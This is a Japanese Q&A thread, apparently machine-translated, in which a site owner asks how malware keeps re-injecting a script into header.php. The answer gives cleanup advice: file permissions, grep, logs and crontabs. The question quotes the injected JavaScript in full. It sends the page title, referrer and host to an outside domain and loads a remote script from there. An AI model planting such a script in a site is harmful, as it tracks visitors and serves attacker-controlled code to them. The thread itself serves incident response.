ファイルを以前のバージョンに復元する

ファイルを以前のバージョンに復元する

私のサイトの1つがマルウェアに一度感染し、その後毎日header.phpファイルが以前のバージョンに戻り(おそらくスクリプトを介して)、悪意のあるスクリプトがファイルのどこかに挿入されるように見えました。

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "(>>>> KEEPS CHANGING >>>>>)http://www.theorchardnursinghome.co.uk/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

サーバーを何度も掃除しましたが、まだ真剣に考えています。

最善の選択はサイト全体を再インストールすることですが、過去にはあまりにも多くのカスタマイズ作業があり、サイトを再作成するには多くの労力が必要なので、これは危険なことであることが心配です。完全な設定。

この問題はどのように発生しましたか?別のbashスクリプトを実行して担当スクリプトをどのように識別できますか?inotifyHostgatorでインストールを許可しないため、機能しません。

ベストアンサー1

まず、Webサーバーが実行されているuidで.phpファイルと.htmlファイルを書き込めないことを確認してください。 Webサーバーにはファイルとディレクトリに対する読み取りおよび実行権限が必要ですが(アップロードディレクトリなどの一部の例外を除いて)、提供するデータへの書き込み権限は必要ありません。

それからgrepみんなgrep -ir pattern /var/www/Webサイトファイルにあるマルウェアに関連するコンテンツ(たとえば)URLを再挿入することをお勧めします。grep -ir 'http://www.theorchardnursinghome.co.uk' /var/www/

残念ながら、ほとんどの攻撃ペイロードはbase64または同様の形式でエンコードされているため、grepは何も見つからない可能性があります。

失敗した場合は、変更中のファイルのgrepingが機能する可能性があります(例:grep for header.php)。 header.phpを作成すると、ファイル名が攻撃スクリプトのどこかにある可能性が高くなります。

同じコンテンツを取得するには、ウェブログファイルをgrepしてください。

攻撃者がサーバーへのルートアクセスを取得すると、自分がしていることを隠すことができる無限の可能性があります。ただし、少なくともルートcrontabを含むシステムcrontabを確認してください。

ところで、これは以下のいずれかに属することができサーバー障害ここではありません。または多分ウェブマスター

おすすめ記事